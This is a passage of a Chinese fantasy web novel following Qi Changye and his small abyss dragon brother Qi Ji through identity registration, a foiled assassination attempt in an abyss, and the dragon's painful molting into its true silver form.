小祈霁呆住了。 那双浅金色的龙瞳，定定地看着它身边的人，像一尊小小的雕像。 “这不合规矩！一个怪物，怎能拥有人类的身份——” “他是我弟弟。”祈长夜直接忽视他的话，风轻云淡地说，“记得把他的户籍归到我这。” 说完，他修长的手指逗逗小龙，小龙依然呆呆的，过了几秒才反应过来似的，小爪爪一下抱住了他。 “……虽然您这么说了，但——” 马修的余光里已经有人在活动拳头，他咽了口口水，还是从牙缝里再挤出了一个“但是”。 “注册时间至少要一周……” 祈长夜：“一小时。” 马修几乎要跳起来：“这怎么可能！最快也要一——” “半小时。” “祈队你别欺人——” “你还剩十五分钟。”祈长夜直视他的眼睛，乌黑的眼眸，古井无波，没有一丝情绪。 “……” 马修挤出笑容：“您稍等！” 他的额头冷汗直落，落荒而逃。 小祈霁抱紧哥哥手指，抬起脑袋，金色光屏抖动，它看着哥哥名字之下，所有的任务，所有的功勋，被一点点清空，像燃烧金色火焰，余温滚烫。 只为换来它的名字。 十分钟后，这只小龙，拥有了一张崭新的身份卡。 祈霁。 记入了人类社会的身份档案，不再是深渊的怪物，而是祈长夜的家人，火种小队的队员，祈霁。 小祈霁浅金色的龙瞳睁得大大的，小心翼翼地摸摸薄薄的卡片。 随后，这只小龙的眼里亮起星星，四只小爪爪都紧紧抱住那张身份卡，小脑袋贴上去，飞快磨蹭。 祈长夜摸摸小龙，摸一下，小龙就发出软软的声音。 “嗷呜，嗷呜。” “祈队。” 马修不知去哪了，换上来一个新员工。 “这是您的小队信息表，需要您和队员签字。当然，您的队员签不了的话，您代签也行。” 祈长夜捧起小祈霁：“你来吧。” 小祈霁依然扒着身份卡：“啾？” 签错了怎么办？ 祈长夜看着对面的员工：“可以——” “可以的，”伊莲笑着抽出一叠登记表，“我们还有很多张。” 小祈霁坐在那张干净的登记表上，第一次抱着比自己还高的笔，准备写自己的名字。 它的名字，和哥哥的名字，会挨在一起。 还不太会写字的小龙，小心翼翼地，先模仿着哥哥的笔迹，写了一个简单的“祈”。 盯着第二个字，想了想。 画了一个圆形，加了几条放射状的直线。 是个小太阳！ 小祈霁蹦跶到祈长夜身边，揪揪他的衣袖，摇摇小尾巴。 签完啦！ 祈长夜落下目光，歪歪斜斜的“祈”，和一只小太阳。 他收起登记表，叠一叠，放进衣袋。 “欢迎加入我的小队。” 火种小队的队长，对自己唯一的队友伸出修长的手指。 “祈——太阳。” 小祈霁：“……” 多年以后，已经变成大龙的祈霁将会想起哥哥带他注册小队信息的这个遥远的下午，以及—— 告诉自己，要早点学会写字！ 不能变成文盲小龙！！ 第二十六章 暗杀祈队 “嗷呜, 嗷呜！” 签完名以后，软软的小龙，黏着祈长夜, 不停转来转去。 祈长夜曲起手指, 逗逗小龙下巴, 小祈霁就黏糊糊地把脑袋拱进他的掌心里, 小尾巴摇得飞快。 开心地和哥哥贴贴一会, 小祈霁啪叽一下，跳进他的衣兜里。 祈长夜微微拉开衣兜，一只小龙坐在里面, 摆弄那张身份卡玩。 见哥哥看它, 小龙的爪爪举起身份卡, 冲他昂起脑袋：“叭！” “副队长。” 洛兰走到他面前。 “你们关系真好。” 小祈霁从衣兜里冒头, 叼住身份卡，扒着祈长夜的袖子，飞快爬上他的肩膀。 换了个位置，继续玩它的身份卡，还高高举起来, 炫耀似地向四周展示。 洛兰目光擦过，飞快移开，小声地说：“那个马修, 可能是他的家族派来, 故意为难你的。” “我知道, ”祈长夜平静地说，“他平时会针对你吗。” 洛兰摇摇头：“我这种小人物, 他还看不上眼，犯不着故意针对我。” “对了, 副队长，你的小队，还招人吗？” 小祈霁把身份证翻过去，翻过去，脑袋没有抬起半点。 祈长夜：“加入我的小队，会很危险。如果需要帮忙，可以来找我。” 洛兰垂了下眼睛，笑了笑：“我知道了。” “看得出来，副队长你真的变了。有了自己的小队，也有了可以陪伴你的队友。” 他微微抬头，再次看了一眼小祈霁。 “以前，你的那些功勋，从不拿来浪费。现在却全部花掉，换来一个身份。” “不可惜吗？” “不可惜。” 祈长夜偏头，看着肩上的小龙。 “我们还有长久的未来。” 小祈霁扭头，对上他乌黑的眼眸。 下一秒，这只小龙嗷地蹦起来，抬起软软的爪爪，在祈长夜的肩上跳来跳去，不停轻蹭他脸庞。 最喜欢哥哥啦！ 开开心心的小祈霁，一直回到家里，还在蹦蹦跳跳。 回到家里，这只小龙就揪着哥哥的袖子，发出软软的叫声。 【哥哥，哥哥，教我写字！】 “怎么忽然想学写字了，”祈长夜偏过头，“祈太阳？” 小祈霁：“……” 这只小龙乖乖地趴在桌上。 已老实。 祈长夜拿起笔，刚才他就发现，小祈霁握笔的姿势还挺专业。 对此，小祈霁得意地昂起脑袋，它平时一直盯着哥哥，看着看着就学会啦。 “嗯，”祈长夜点点小龙脑袋，“都不需要手把手教了。” 啪。 小祈霁爪子一松，那支笔掉在了桌上。 【哥哥，哥哥，不会用笔，教教】 小祈霁抬起两只小爪爪，按住祈长夜的手背，圆溜溜的龙瞳，单纯又无辜。 祈长夜无言地伸手，轻轻捏住小龙的小爪子。 小祈霁乖乖地依偎着祈长夜的手，一条软软的小尾巴，半圈在他的手腕间。 灵活的小爪子，很慢在哥哥的教导下，学会了写字。 然后，这只小龙就写了很多个自己和哥哥的名字。 祈霁，祈长夜。 挨在一起的两个名字，铺满白纸。 小祈霁盯着看了几秒，又偷偷摸摸地在名字中间，画了一颗颗小爱心。 祈长夜回到沙发间，看了眼那张纸上的字迹。 蚂蚁爬爬。 不过，毕竟是只小龙，已经很厉害了。 他在沿着白纸爬来爬去画小爱心的小龙旁边，放下一本绘着漂亮图案的本子。 “你可以每天写写日记，就当是练字。” 小祈霁歪头，想了想，抱着笔，唰唰写下第一篇日记。 【今天，哥哥给我上户口啦】 【喜欢哥哥】 【我和哥哥，还有很久的未来！】 小祈霁写下这句话，还兴致高昂地在旁边画画。 一个线条扭曲的小人，一只简陋的小太阳。 画完，小龙陷入沉思。 祈长夜接过小祈霁的笔。 片刻后，小祈霁凑过来。 一个线条怪异的小“龙”，旁边一坨奇怪人形生物。 一人一龙你看看我，我看看你。 “睡觉吧。” “昂！” —— “那个祈长夜，才回上城就闹出这么多事端，未免太过嚣张。” 暗室里，有人低语。 “他一向如此，不知敬畏，不知天高地厚。诸位，谁去给他一个教训？” “……” “我调查过他在下城的档案，这些年，他遭受了不少精神反噬，离开下城前，还找过医生，想要治疗他的精神力。” “反噬的滋味可不好受，精神力受损更是无法逆转。就算他还有剩许残存的精神力，也经不起一再消耗。” “他早已不是三年前的祈副队——诸位，没人想试试吗？” 灯光晃动，有人影站起。 —— 波尔城，深渊出口。 刚刚结束完一次任务，祈长夜神色如常地走出深渊，进入设立在不远处的塔台。 一条小龙在他肩膀上绕来绕去，灵活地从这边蹦跶到那边，不小心踩空摔下去，一秒后，又悠悠地乘风飘起来。 祈长夜：“这次会拐弯了。” 小祈霁：“……嗷！” 它很努力地练习过了！ 以后带着哥哥飞来飞去，绝对没问题！ 祈长夜拍拍小祈霁脑袋，表示自己知道了。 塔台的检察官迎上来：“祈队，这次任务需要采集的第十层怪物血液……” 他从祈长夜手中接过那支装着蓝色血液的密封管，检查过后，露出满意的神情：“不愧是祈队，效率就是高。” 话音未落，祈长夜捂住嘴，轻咳几声。 再放下手时，他的嘴角，多了几分血色。 “您受伤了？！”监察官大惊，声音一下拔高几度，让远处的一些人也回过头来，“我这就去请治愈系——” “不必了。”祈长夜平静地擦掉嘴角的血，“旧疾而已。” 他的肩上，小龙一副被吓到的样子，两只小爪爪不知所措地悬在半空。 “是精神力方面的问题吗？”监察官似乎很为他担心，提出了建议，“不久前，上城研发出了能够治愈精神力的药物，只有一颗，可以用功勋点来换。” “虽然要求的功勋点非常高，目前没人能达到。但，我记得您三年前就拥有了不少功勋点，再多接几个任务，说不定就能凑齐了。” 祈长夜似乎微微意动，沉思片刻，道：“多谢，我会去了解一下。” 监察官看着这位面色苍白的年轻男子转身，带着他的怪物，渐渐远去了。 乌城，街道。 “你就是祈长夜，那天在宴会上威胁我弟弟的人？” 一群人堵住了祈长夜的去路，为首的男人趾高气昂，表情满是不屑。 “我要向你发出挑战！” “没兴趣。”祈长夜将肩上的小龙提溜回衣兜里，淡淡地说。 “没兴趣？只怕你是不敢吧！”男人冷笑着卷起袖子，晃了晃手腕上的通讯手环，“只要你赢了，我的小队，功勋点全部归你！” “但，如果你输了——那就任我处置！” 他的目光停落祈长夜的脸庞，像阴冷的毒蛇嘶嘶吐信，湿黏地刮过猎物：“既然敢得罪我们凯撒家族，就要做好付出代价的准备。” “不过嘛，你长得不错，我很喜欢。就算输了，哥哥我也会对你好一点的——在我的床上。” 说完，男人和他身后的随从放肆大笑起来。 一双金色的龙瞳冰冷睁开，竖立如刀。 仿佛被深渊最危险的幽暗盯视，彻骨的寒意直冲天灵盖，这些人的笑声戛然而止。 祈长夜面色不变，轻轻按下小龙，让它落回衣兜里。 他抬眼，乌黑眼眸，依然风轻云淡：“你有多少功勋点？” “哈？” 男人似乎没听懂这句话的意思。 ——片刻后，他懂了。 砰！ 地面凹陷下数米的深坑，男人面朝地陷落在深坑里，身体抽搐，死鱼一样瘫软下来，直接失去了意识。 祈长夜随意跨过他的身躯，抓起那只手腕，扫走了通讯手环上的功勋点。 不远处，几个随从缩在一起，瑟瑟发抖，大气不敢出，只能眼睁睁看着祈长夜离去。 ——还没走出几步，那个年轻男子就捂住嘴，咳嗽起来。 鲜红的血迹，沿着他的手指滑过雪白手腕。 几个随从眼里，那只深渊的怪物从他衣服里冲出，焦急地围着他转圈圈。 他抬起手，一言不发地按住了怪物——那只苍白的手，也是鲜血淋漓。 “……” 祈长夜走后，几个随从对视一眼，有人掏出通讯器发消息，有人想要扶起昏死的男人。 平地忽然卷起凛冽的风刀，将男人高高卷起，又像垃圾一样，重重摔在地上，砸出了另一个深坑。 “少爷！！” “快！快去找治愈系进化者！！” 几天后，克里斯来拜访祈长夜。 “祈队，今天晚上还有一个很重要的宴会——” “不去。”祈长夜淡淡地说，“我最近精神反噬，在养伤。” 克里斯：“啊？” 他看看祈长夜的脸庞，发现的确有几分苍白，赶紧道：“严重吗？需要为您找治愈系进化者吗？” “精神力反噬，是不可逆的。” 祈长夜平静地拒绝，就像在说一件与己无关的事情。 克里斯纠起眉头，跟在他的身后，刚过玄关，就刹住了脚步。 一只小龙歪躺在没铺地毯的地板上。 鲜血淋漓，一动不动。 克里斯大惊失色：“怎么回事？！” 祈长夜淡定地拎起小祈霁，抖一抖。 “黏糊糊的。” 刚刚还“奄奄一息”的小龙抬起血淋淋的脑袋，“呜啦”一声。 自己慢悠悠地飘走，很快，厨房里响起水声。 没过多久，一只干干净净的小龙又飘了出来，回到祈长夜身边，甩甩身上的水花。 从哥哥衣兜里掏出一个小番茄，啃啃。 克里斯：“……” 第二十七章 小龙出事 “祈队, 这里有一个A级任务，上面的意思，是希望您能接取。” 进化者服务中心, 伊莲笑容满面地看着对面的祈长夜。 她今天心情很好, 因为那个傻叉的马修被调走了, 据说是发配到了哪个遥远的C级城。大家锣鼓喧嚣地送走了傻叉, 空气里到处弥漫着快活的气氛。 一道光屏弹出, 显示出任务内容，伊莲解释道：“这次任务难度较高，保险起见, 会有几个小队同时执行。当然, 功勋点也很高。” 这位祈队最近似乎很缺功勋点, 几不停歇地接取了不少任务。当然, 他的效率极高，每个任务完成得都很漂亮。 今天上面来人，特意嘱咐，要将这个任务留给他。 祈长夜平静的目光掠过任务内容，屈起修长手指, 轻敲确认界面：“我接了。” 他的肩膀，小祈霁窝成一小团，抱着自己的尾巴, 昏昏欲睡。 祈长夜摸摸困兮兮的小龙：“早点做完, 早点回去睡觉。” “嗷呜。” 小龙发出轻软的叫声, 顺着他的手指往上爬，钻进了他的袖子里。 伊莲多看了两眼, 不知是不是她的错觉，这位祈队好像比前段时间憔悴了一些, 应该是太累了。 她好心地提醒了一句：“您最近的确接了不少任务，要不然给自己放个假，适当休息一下吧？” 祈长夜微微点头，没说什么，转身，苍白的脸庞刚好对着大厅的摄像头，摄像仪微闪，记录下了这一幕。 任务地点，位于乌城附近一座A级城市的深渊。 另外两支进化者小队到时，就见那位苍白清隽的年轻男子已经站在深渊边缘，他的肩上，一只长条如蛇的怪物，正在翻转打滚。 “祈队，久仰大名，很高兴和您合作。” “这片深渊前段时间发生了莫名的动荡，差点害死一支A级小队，我们没有经验，还需要您多看顾一下。” 短暂地打过招呼之后，进化者们展开行动。 也许是这片深渊过于危险，才进去没多久，就出现了不少异常状况。 频频有进化者遇袭受伤，命悬一线——关键时刻，祈长夜出手，救下了他们。 “多亏有祈队在，不然我就完了！” “等回到地面，我们一定报答您！” 这样的状况一直持续到深渊深处，在不知第几次动用精神力救下一个进化者后，祈长夜的身形微微一晃。 鲜红血迹，沿着他的嘴角滑落，浸染薄白肌肤。 他的指间，那枚能够抵抗深渊侵袭的星石戒指，骤然破碎。 深渊的黑暗一拥而上，瞬间逼近年轻男子，伸出张扬的爪牙，似乎随时会将他撕裂。 小祈霁抬头，焦急地围着他转圈圈，发出“嗷嗷”的叫声，又看向他的身后，似乎想向那些进化者求助。 然而，刚才还向祈长夜道谢的进化者们，纷纷停下了脚步。 “祈队，你应该也到极限了吧？” “算一算，进入这里以后，你已经出手过不下二十次，加上这段日子，你一直在接任务，可没有什么休息时间。” “想不到大名鼎鼎的薪火小队副队长，会折损在我们手下。” 一个个进化者，就像趁着黑夜捕猎的野兽，撕下伪装的皮囊。 失去了那枚可以抵抗深渊侵袭的戒指，都不用他们动手，祈长夜就会死在这里，根本无法走出深渊。 他们没有上前，而是耐心地等待着，准备欣赏猎物绝望的表情。 …… 然后，什么也没发生。 祈长夜静静地站在深渊里，哪怕失去了星石戒指，那些来自深渊的黑暗、进化者最畏惧的死亡侵袭……于他而言，毫无影响。 甚至他的身边，那只深渊的怪物也不再着急，而是慢悠悠地飘到他的头顶，金色的龙瞳，格外明亮。 进化者们有些意外，看来，这个人还暗藏了其他防护装置。 “一起上，干掉他！他的精神力损耗太大，我们人多，耗也能耗死！” “他今天完了！” 耐心耗尽，野兽们终于露出狰狞的獠牙。穿过夜幕，撕咬而上。 小祈霁落在祈长夜肩上。 深渊之中，一双竖立的龙瞳，冷冷睁开。 …… 议事厅，白银殿堂。 第十二席坐在金色长桌的末尾，左耳进右耳出地听着上面那几位的讨论。 不知怎么的，他今天的眼皮总有些跳，让他十分烦躁。 这样的感觉似曾相识，三年多以前，同样有那么一天，他的眼皮一直跳个不停，总感觉有大事发生。 事实也是如此——那天，一个疯子杀了第十席，杀了许多人，满身鲜血，拖着第十席的尸体，一步一步踩过长阶，推开白银殿堂的大门…… 那一幕至今深深地映在第十二席的脑海里，他清楚地看见一只鲜血淋漓的手，扣在银白的神圣之门上，门扉被强行开启，露出一双幽冷的乌黑眼眸。 杀死第十席，挑衅十二位坐席，居然还活了下来，不仅活得好好的，时隔几年，还安然无恙地返回上城。 不过，这一次，可不一样了。 那个年轻人太不知天高地厚，为了所谓的复仇，葬送了自己的未来，葬送了远大的前途，现在，只是一个精神力即将干涸，等死的可怜虫罢了。 第三席自以为瞒的天衣无缝，一纸调令将他带回上城，恐怕也只是想榨干他的最后一点价值。 毕竟，哪怕曾经的薪火小队副队长沦为废人，那点熄灭前的余温，也足以化为烈火。 第十二席的眼皮又剧烈跳动一下，他按住面具——这个破面具，明明大家平时都露脸，干嘛一开会就要戴面具，搞得像十二个神棍。 借着面具的遮掩，他的目光不着痕迹移向门外。 哼，再让那个不知天高地厚的小子闯进这里，再让历史重演一次，那他这个堂堂的第十二坐席，干脆回家睡觉算了。 第十二席轻蔑一笑，也许是记忆太过深刻，以至于他的眼前真的浮现了一副画面—— 白银殿堂的门扉打开一角，一只苍白修长、骨节分明的手扣在门扉边缘，径直推开这道神圣的大门。 雪白门扉之后，露出一双冰冷的乌黑眼眸。 这一刻，第十二席宛若石化。 又来？！ 他僵在原地，眼睁睁地看着那个一身黑衣，气场冷峻的年轻人，单手拖着一具“尸体”，漠然踏入大厅之内。 “有人刺杀我。” 他直面白银殿堂，冷淡的眼眸，扫过十二位坐席。 “诸位，给个解释？” 第十二席：“……” ……回家吧！我还是回家去吧！！ —— 事情已了，祈长夜走出议事厅。 小祈霁趴在他的肩上，有一下没一下地甩动尾巴。 【哥哥，为什么那些人不直接说是谁要杀你，而是让你给他们点时间调查？】 “背后的人，还没有冒出来。”祈长夜淡淡地说，“不过，我大概猜到了。” 小祈霁昂起下巴，露出一点小尖牙。 【是谁，我去吃掉他们！】 “你还小，他们太大只。”祈长夜摸摸小龙，摇了摇头，“而且，我说过，不要吃奇怪的东西。” 小祈霁乖乖地点点脑袋，又趴了下来。 过了几秒，蹭蹭祈长夜的脸庞。 【哥哥，我装得像不像！】 这些天，这条小龙每次去进化者服务中心，都装出一副困兮兮的样子——一看就是做多了任务，没精打采。 “很像，”祈长夜说，“非常会演。” 得到哥哥的夸夸，小祈霁得意地摇摇尾巴，抬起一只爪爪。 祈长夜落下手指，和他的小龙击掌。 微风卷起飘飘摇摇的落叶，小龙黏着哥哥，活泼地闹腾了一小会，又趴回了原来的位置。 那双浅金色的龙瞳，环顾这座刚来到不久的城市，染上几分漠然。 好多坏人。 来自深渊的小龙，并不想去思考那些人背后的深意，对它来说，想伤害哥哥的，都是坏人。 它要吃掉他们。 小祈霁低头，看看自己只有一点点大的爪爪。 来到这里以后，哥哥已经为它做了很多。 但是，这里的坏人太多了。 ……要快点成长起来，保护哥哥。 小祈霁偏过脑袋，一眨不眨地凝视身边的人，轻轻贴了过去。 当天晚上，小龙就开始犯困。 黏糊糊地趴在祈长夜掌心里，困得眼睛都睁不开。 “睡吧，”祈长夜猜测这只小龙是这几天真的累着了，温柔地拢起手指，“明天没有任务了。” “……嗷。” 小祈霁耷拉着眼皮，小爪爪迷迷糊糊地往前抓抓，抓住哥哥手指。 塞到自己小肚子底下，翻了个身，压住，安心地睡过去了。 第二天清晨，祈长夜醒来，习以为常地从被子里抱住一只软乎乎的小龙。 他的动作微定。 一夜之间，他的小龙……多了几枚鳞片。 闪闪的鳞片，长在这里，长在那里。 斑点小龙。 祈长夜轻轻抚摸小祈霁脊背，能感受到这只幼崽随着呼吸的微微起伏。 似乎，每次都有一个契机，让他的小龙再度成长。 这一次，长出了许多漂亮的鳞片，小祈霁应该会非常高兴。 祈长夜安静地等待。 过了一小时，小祈霁没醒来。 又过一小时，小祈霁还是没醒来。 祈长夜轻摇小龙。 小祈霁随着他动作微微摇晃。 静悄悄的，毫无反应。 第二十八章 小龙真容 窗台的阳光, 拂过沉睡的小龙，一枚枚毫无规则的银白鳞片，像散在银河间的稀疏星辰。 祈长夜靠在窗边, 静静地等了许久。 无论怎么呼唤, 也不再回应他的小祈霁, 依然会随着呼吸而微微起伏, 依然有着温热的身躯。 只是, 不会睁开那双圆溜溜的龙瞳，不会围着他嗷嗷打转，像只活蹦乱跳的小弹簧。 他捧起小龙, 起身, 推门而出。 “抱歉, 祈队, 治疗仪检测不出结果，我们这最好的治愈系进化者也试过了，无能为力。” “很遗憾，祈队，我们的档案库里并没有找到关于帝龙的记载, 也无法解释您弟弟这一异常的症状……” 中午时分，从外打开的屋门漏出一丝光线，空寂的玄关, 一道身影静立。 祈长夜手指轻轻拨动温软的小龙, 想了想, 随手拿起水果刀，对着手腕—— 他的掌心里, 小小的幼崽，慢慢动了一下。 祈长夜藏起水果刀, 低头。 在他的目光中，沉睡了一上午的小龙头颅微转，然后，就和之前每个早晨一样，慢吞吞地在他身上蹭了蹭，伸了个小小的懒腰。 “嗷呜？” 小祈霁翻了个身，睁开圆溜溜的龙瞳。 【哥哥，早上好！】 “……”祈长夜安静片刻，缓缓抬手，让小祈霁和他的视线平齐，“已经是中午了。” 小祈霁似乎愣了一下，低头看看自己。 一枚枚鳞片，并没有让那双龙瞳里燃起多少惊喜，这只小龙似乎早有预料，又抬头，看看祈长夜。 有点小心虚的样子，黏住祈长夜手指，小小地“嗷嗷”一声。 【对不起】 【让哥哥担心了】 祈长夜没说什么，只是摸摸小龙：“有哪里难受吗？” 小祈霁摇摇脑袋，埋进他的指间，窝成小小一团。 【我没事哒】 少年的声音一如往常，欢快又轻悦，祈长夜神色不动：“真的？” 小祈霁蹦跶一下。 【真哒】 祈长夜指尖微抬，勾起一小截龙尾，软趴趴的尾巴自发缠上了他的手指。 “因为长了很多鳞片，所以才睡了那么久？” 小祈霁飞快点点脑袋。 【哥哥不要担心，这是正常的，我到长鳞期啦】 “长鳞期。”祈长夜重复了一下这三个字，“那，你很快就会变成大龙了吗？” 小祈霁支棱起来，叉腰：“昂！” 长着稀稀拉拉鳞片的小龙，开始在哥哥身上爬来爬去，又是一副精力充沛的样子。 祈长夜安静地注视片刻，揉揉小龙。 之后的半天，小祈霁并没有再沉睡，一直都活泼地围着祈长夜转来转去。 夜晚，入睡之前，小祈霁睁着浅金色的龙瞳，从被子里冒出脑袋，看着祈长夜。 “嗷嗷。” 【哥哥，鳞片长齐之前，我可能还会睡一会】 【哥哥再等一等我，好不好？】 它伸出一只小爪爪。 祈长夜落下手指，轻轻接住小龙的爪爪：“好。” ——之后几天，小祈霁似乎真的如它所言，来到了幼龙的长鳞期。 它的身上，一枚枚鳞片雨后春笋般冒了出来，从一开始的稀稀拉拉，到逐渐连接，变成覆盖小龙全身的鳞甲。 曾经，花费那么久的时间，才长出三枚小小的鳞片，现在，不知为什么，一下子多了许多。 新生的鳞片，并没有最初的三枚那么闪闪发亮，而且，鳞片越长越多，小祈霁也越来越困，一天沉睡的时间逐渐拉长。 从早上到傍晚，这只小龙都抱着自己的尾巴，沉沉睡着。 祈长夜托起小龙，手指轻轻拨弄，让小龙软软地翻了个身。 鳞片，快长齐了。 只是，新生的鳞片虽然都是银白色泽，却黯淡无光，像蒙上一层灰尘。 于是，长着鳞片的小龙，也变成了黯淡的，蔫蔫的小龙。 祈长夜眸底，墨色沉沉。 真的是……长鳞期吗？ 办公室内，克里斯接到一道通讯电话，他看了眼那个联系人，颇有些受宠若惊地接通了。 “祈队？” “告诉明先生，”通讯器另一侧，祈长夜的声音清沉，“我想和他做个交易。” “抱歉，谢先生，第三席大人今天没空见您。” 走廊上，副官将面前的青年拒之门外。 谢荇笑了一下，神色不见什么异常：“没关系。” “告诉舅舅一声，等他有空了，我再过来。” “好的，您慢走。” 谢荇转身—— 一道身影与他擦肩而过。 山寒水冷般的气息，像荒原凛冽的风擦过身侧。谢荇一怔，猛然回头。 眼眸沉静的年轻男子目不斜视，风衣衣摆掠起，径直穿过长廊——副官为他让道，打开那道紧闭了一上午的门。 砰。 门扉再次关上，也将那道身影，隔绝在谢荇的视野之中。 “……” 叮。 电梯直直下坠，最终，停在地下第八层。 电梯门后，露出一片开凿出来的空间，像是远古时期的石洞。洞穴深处，厚重的石门严丝合缝地嵌合，门上雕刻古朴而不属于这个时代的花纹。 祈长夜跟随前方的身影，踩上微凉地砖，低头，看了眼掌心里依然沉睡的小龙。 “作为旧地球的后裔，明家守护着那个时代的部分遗留。” 明蓝磁性如琴弦的声音，流淌在这片幽深的地下。 “这里的隐秘，只有明家的血脉才能感应。对外人而言，只是一片虚无。” 他的手落在石门中间，似有某种古老的血脉苏醒，山岳般的石门震动，浅白的微光亮起，一寸寸描绘石门古朴的花纹。 直到花纹被彻底激活，石门缓缓向两侧打开，寒风从幽深的内侧呼啸而出，卷动簌簌尘土。 明蓝身后，一直缄默跟随的副官接到什么消息，上前低语了一句：“大人，谢少爷忽然晕倒在了外面。” 明蓝英挺的脸庞毫无波动，偏过眼眸，对祈长夜说：“你自己找吧，别停留太久。不是明家血脉的人，容易迷失在此地。” “谢谢明先生。” 祈长夜颔首，目送他转身离开，再转头，目光投向石门后的幽深。 他穿过山岳般的石门，扑面而来的，是比山石还要厚重古老的气息。 一缕微光，自他身侧浮现，起初，星星点点，随后，光芒渐亮，穿梭在他的乌发、指间、衣角，汇聚为浅白的银河。 就像，那个时代的星辰，闪烁着向他招手。 —— 微风卷动窗帘，漏出朦胧天光。 祈长夜睁开眼，望见床头绽放的浅白小花。 从石门回来，已经过去两天。这两天，小祈霁一直没有醒来。 他掀开被角。 空荡荡的，没有他的小龙的身影。 “……” 像是意识到了什么，祈长夜起身，赤足穿过木质地板。 窗帘纱影重重，随风而动，隔壁空置的房间，无光角落里，地板上溅落斑斑血迹，还有一地残缺的鳞片…… 祈长夜眼睫微跳。 他看见了那团微微颤抖的，小小的身影。 从一滩血泊里，抬起了头颅。 “……不是长鳞期，而是‘褪鳞’，对吗？” 失温的手指捧起血泊里的小龙，幼小躯体间沾染的血液同样冰凉，刺骨的寒意，如针刺入十指。 昏暗的房间里，他的声音像是脱力般轻而低微。 “古书中记载的，幼龙向成年蜕变之路。” “在极短的时间内，长出所有鳞片，然后，撕下旧鳞，以此蜕变。” “……” 没有回应，祈长夜的手指小心翼翼地抚过小祈霁，能感觉到这只小龙在他指间轻微地蠕动，依恋地将脑袋抵上他的指腹。 幼龙的成长，是条漫长之路，原本也要消耗不可计数的光阴。 龙的鳞片，蕴含极其强大的力量。褪鳞，就是让幼龙以伤害自己的方式，提前激发鳞片内的力量，刺激血脉觉醒。 这并不是正常的成长之路，而是一条畸形的，充满血腥与危险的“捷径”。能撑过去，幼龙将短时间内蜕变为成年——也有可能，衰败死亡。 所以，这段时间，他的小龙根本不是什么长鳞期，而是选择了褪鳞。 一旦开始，无法中止，无法回头，中间一旦有了放弃的念头，就是失败。 默默地忍受数天的痛苦之后，昨天夜里，他的小龙爬到这里，一点点撕下自己的旧鳞，等待着新生……又或者，一半可能性的死亡。 “……为什么？” 祈长夜指尖微颤。 “明明，我们还有很多时间。” 他的掌心，从血泊中爬出的小龙并不奄奄一息，而是如同破茧的蝶，虽然虚弱，却蕴含着新的生机。 它抬起一双银白的小爪子，蜕变后的爪尖闪烁刀刃般的锋芒，却在触碰祈长夜时，柔软得像落在湖面的花瓣。 【哥哥一直在保护我】 少年的声音，坚定又温柔，满怀缱绻的眷恋。 【我想，快一点走到哥哥身边】 还没长大的小龙，努力地想要跟上哥哥的脚步。被哥哥捧在掌心时，努力地想要保护哥哥，哪怕拼尽全力，鲜血淋漓。 ——一如最开始，他们的初遇，深渊里，黑漆漆的幼小龙蛋，不断追逐那道身影。 一切，都是为了来到他的身边。 祈长夜阖了阖眼，鸦羽般纤长的眼睫，微微颤动。 “如果……” 【没有如果】 小龙似乎知道他在想什么，抱紧他的手指，冰凉的身躯紧紧贴着他，是依赖，也是安抚。 【我不会留下哥哥一个人的，所以，我成功了】 这只银白的小龙微微昂起下颌，轻蹭祈长夜手指，血迹之下，银白的鳞片隐隐发亮。 【哥哥，我好看嘛？】 祈长夜睁眼，对上那双浅金色的龙瞳，从里面，看见了自己的倒影。 他捧起小龙，安静片刻，说：“脑袋，肿了。” 小祈霁：“？” 小祈霁低头，试图爪爪捂住自己的脑袋，看看怎么个事。 爪爪短短，捂不住。 “嗷？” 祈长夜默默地带着小龙，来到浴室。 温热的水流，洗去一身血迹。 光洁的镜子，倒映出一条银白色的美丽生物。 细长如蛇的身躯，覆盖银雪般莹润的鳞片，每一枚鳞片，都毫无瑕疵，闪闪发亮。 渡过了褪鳞，小龙第一次展现出自己的真容。柔韧的鳞甲包裹全身，四只小爪子锋利如刀，贝壳般绽开的尾巴尖尖——漂亮的银白小龙，从脖子到尾巴，都完美得如同神明的造物。 除了，脑壳。 小龙的脑壳，长出了两个小小的肿包。 不对称的肿包鼓起，左一个右一个，让小祈霁看起来就像……被撞肿了脑袋的可怜小龙。 不太聪明的样子。 小祈霁：“？” 小祈霁：“？？？” 第二十九章 一对龙角 小祈霁在镜子面前转了几圈, 小脑袋顶住镜子。 痒痒的。 是不是要长脑子了。 蹭蹭哥哥手指。 祈长夜看着这只小龙，没说话。 【哥哥？】 【哥哥！】 【哥哥！】 银白的小龙，发现祈长夜不说话以后, 开始围着哥哥跳来跳去, 想要吸引哥哥的目光。 浑身的鳞片一闪一闪, 像只亮眼的白银小灯泡。 跳了一会, 发现哥哥还是不理它。 “！” 小祈霁钻到祈长夜手指底下。 露出一个小脑袋, 可怜兮兮，眼巴巴地看着他。 祈长夜：“……” 祈长夜和那双水汪汪的龙瞳对视两秒，手掌一翻。 小龙晃晃悠悠地落到他的掌心里, 爪爪朝上, 露出软乎乎的小肚皮。 给哥哥摸摸。 哥哥不要生气啦。 “我没有生气, ”祈长夜看着这只在掌心里拱来拱去的小龙, “下次，不要自己涉险了。” “嗷。” 小祈霁翻身，把哥哥的手指贴在肚皮底下，压住。 【我知道，哥哥担心我】 【这次是我不对, 一直瞒着哥哥】 祈长夜摇了摇头：“你没有错。” 他的指腹轻轻落在小祈霁脑壳的包包上：“会难受吗？” 小祈霁飞快摇摇脑袋：“叭。” 就是有点痒。 小龙又开始用脑袋蹭蹭祈长夜，被祈长夜曲起手指，温柔地摸摸。 浅金色的龙瞳微微眯起, 银白小龙趴在哥哥掌心里, 非常舒服的样子。 祈长夜捏起小龙的爪子, 晃一晃，勾起它的尾巴, 摇一摇。 他的目光捕捉到什么，动作微顿。 小祈霁的尾巴末端……缺了一枚鳞片。 失去了第一枚鳞片而留下的小小伤疤, 依然没有消除，因此，那个位置，没能长出新的鳞片。 其实，除非很仔细地凑近去看，不会发现。但，他的目光却有些难以移开。 祈长夜沉默下来，指腹轻轻拂过那里。 小祈霁回头，抱住自己的尾巴，甩了甩。 完全不在乎地扭过脑袋，继续趴在哥哥掌心打滚。 确认了小龙没有什么伤口、的确安稳渡过了褪鳞，祈长夜才慢慢收回手。 又把小祈霁抱起来，乌黑的眼眸不含什么特别的情绪，只是静静地看着它。 小祈霁：“……” 哥哥一直盯着它看。 哥哥真好看。 小祈霁悬在半空的尾巴摇啊摇，软软地叫了一声。 【哥哥，我长得怎么样？】 “很漂亮。” 